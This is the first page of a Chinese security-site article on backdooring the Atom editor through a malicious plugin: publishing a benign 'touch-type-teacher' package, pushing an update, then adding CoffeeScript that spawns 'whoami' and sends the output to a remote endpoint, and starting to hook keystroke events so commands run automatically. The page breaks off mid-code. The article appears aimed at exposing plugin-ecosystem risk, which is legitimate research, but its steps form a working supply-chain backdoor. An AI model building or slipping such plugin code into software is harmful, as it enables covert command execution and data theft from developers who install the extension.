欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

如何通过恶意插件在Atom中植入后门

来源:本站整理 作者:佚名 时间:2017-08-19 TAG: 我要投稿

在生活和工作中,我们往往都需要用到一些类型的编辑器,这样才能开展我们的工作。但是,当选择一个编辑器时,每个人都有自己的看法。有些人是新潮派,喜欢使用像Atom或者Sublime这一类型的现代编辑器,而另外一些人则是守旧派,更喜欢坚持使用像Vim或Emacs这一类型的编辑器。无论你选择什么,对于一款编辑器而言,你最想做的可能就是以某种方式对此工具进行自定义操作。
现代编辑器的插件和扩展功能都是非常强大的。除了外观上的一些自定义之外(字体,配色方案等),它们还提供了一系列功能,这些功能能够使您的生活和工作变得更轻松,您应该能够找到一个适合您需要的插件。如果没有,你可以创建和发布一个。
通常情况下,用户会下载新的插件以满足他们的需求,这样他们的插件列表就会变得越来越多(因为谁会有时间去删除那么旧的或者未使用的插件呢?)。这其中,许多编辑器是支持自动更新的,以确保及时的修复bug以及增添新功能等。
对于这篇文章,我将重点研究Atom这款编辑器工具Github上的“明星”编辑器。根据他们的网站介绍,这是一个“21世纪的黑客文本编辑器”。 Atom编辑器的用户群在不断增长,它包含了各种各样的软件包。您甚至可以通过一些小技巧在Chromebook上安装Atom,这些技巧是通过绕过ChromeOS上的基本安全模型,使得您可以在Chromebook上安装Atom。
目标
我的任务是探索恶意的Atom插件对该工具的影响程度到底有多大。我们不知道我们将要面临什么障碍,不知道Atom会不会有什么安全措施来阻止我们的恶意程序。但事实证明,没有任何的阻碍...在几个小时之内,我不仅发布了我的第一个应用程序,而且更新了它,在此应用程序中还包含有一点点的恶意代码。
计划很简单:
第一步:获取一个已经发布的简单的包或者插件
这个过程我们需要什么以及该过程是否有难度(我们是否需要我们的应用程序被审查)?
第二步:测试更新过程
如果你打算创建一个恶意软件包,那么你将首先需要创建一个非恶意软件包,这个非恶意的软件包需要拥有一个庞大的用户群,然后推送一个软件更新,该更新包中包含了一些恶意的代码。
第三步:从Atom包中实际测试我们可以实现的功能
我们需要确定我们的恶意软件是否在沙箱中运行以及我们拥有访问哪些系统库的权限等。
创建简易插件
步骤1
网络上有很多指南可以用来指导如何创建和发布Atom的包,包括在Atom官方网站上就有一个很详细的指南。生成一个新的包需要的步骤是:
1.创建一个新的包:
cmd + shift + p
Package Generator: Generate Package
2.步骤1将为我们生成一个简单的包,这个包只包含了一个toggle方法,这个方法我们将在稍后会使用到:
toggle: ->

console.log 'touch-type-teacher was toggled!'
3.将代码推送到Git 仓库
git init
git add .
git commit -m "First commit"
git remote add origin
git push -u origin master
4.发布我们创建的Atom包

apm-beta publish minor
步骤2
在初始设置完成后,我们接下来将对我们之前创建的包做一些修改
toggle: ->
console.log 'touch-type-teacher was toggled!'
console.log 'update test'
将代码推送到Github
git commit -a -m 'Add console logging'
git push
发布新版本的代码

apm-beta publish minor
从第一步和第二步操作来看,发布和更新一个Atom包是非常容易的操作,下一步将看看我们发布的包实际上可以干些什么事情。
这似乎是一个合理的请求
步骤3
可以看到,Atom包是通过node.js技术创建的,初始测试我们可以看看有哪些模块可以访问。从请求包入手似乎是一个很好的开始,因为它允许我们将数据从用户的机器中取出并进入我们自己手中。
1.经过一番技术研究发现,可以很容易导入一个第三库到我们的包中:
npm install --save request@2.73.0
apm install
2.把这个第三库导入我们的代码中:

request = require 'request'
3.更新我们的代码,用户机器会将一些数据发布到我们的远程服务器
toggle: ->
request 'http://my-remote-endpoint.com/run?data=test_data', (error, response, body) =>           
console.log 'Data sent!'
有了这个,一旦toggle函数被调用,那么我们的包就会自动发送信息给我们。现在我们有一种获取信息的方法,我们需要看看我们能够访问哪些信息。
植入后门代码
我们更改我们的toggle函数尝试获取当前用户机器上的的数据,代码如下所示:
toggle: ->
{spawn} = require 'child_process'
test = spawn 'whoami'
test.stdout.on 'data', (data) ->
request 'http://my-remote-endpoint.com/run?data='+data.toString().trim(), (error, response, body) =>
console.log 'Output sent!'
上面的这个代码片段在实际的运行中是有效的,这意味着我们可以在用户的机器上运行命令,然后根据需要从返回的数据中提取我们需要的数据。其实现在,我们发布的Atom包已经可以执行一些恶意的操作了,但是我们有必要做进一步的研究。
更进一步
之前,我们的命令是硬编码到我们的代码中的,现在我们将修改代码使得软件能够自动发送需要执行的命令! 之前我们创建的Atom包中,只有toggle函数被调用时才会触发执行命令,现在我们将修改代码,完成一旦一个按键被按下就会触发执行命令的函数。
首先我们需要去hook当前编辑器的onChange事件:
module.exports = TouchTypeTeacher =
touchTypeTeacherView: null
modalPanel: null
subscriptions: null
editor: null
 
activate: (state) ->
@touchTypeTeacherView = new TouchTypeTeacherView(state.touchTypeTeacherViewState)
@modalPanel = atom.workspace.addModalPanel(item: @touchTypeTeacherView.getElement(), visible: false)
@editor = atom.workspace.getActiveTextEditor()

[1] [2]  下一页

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载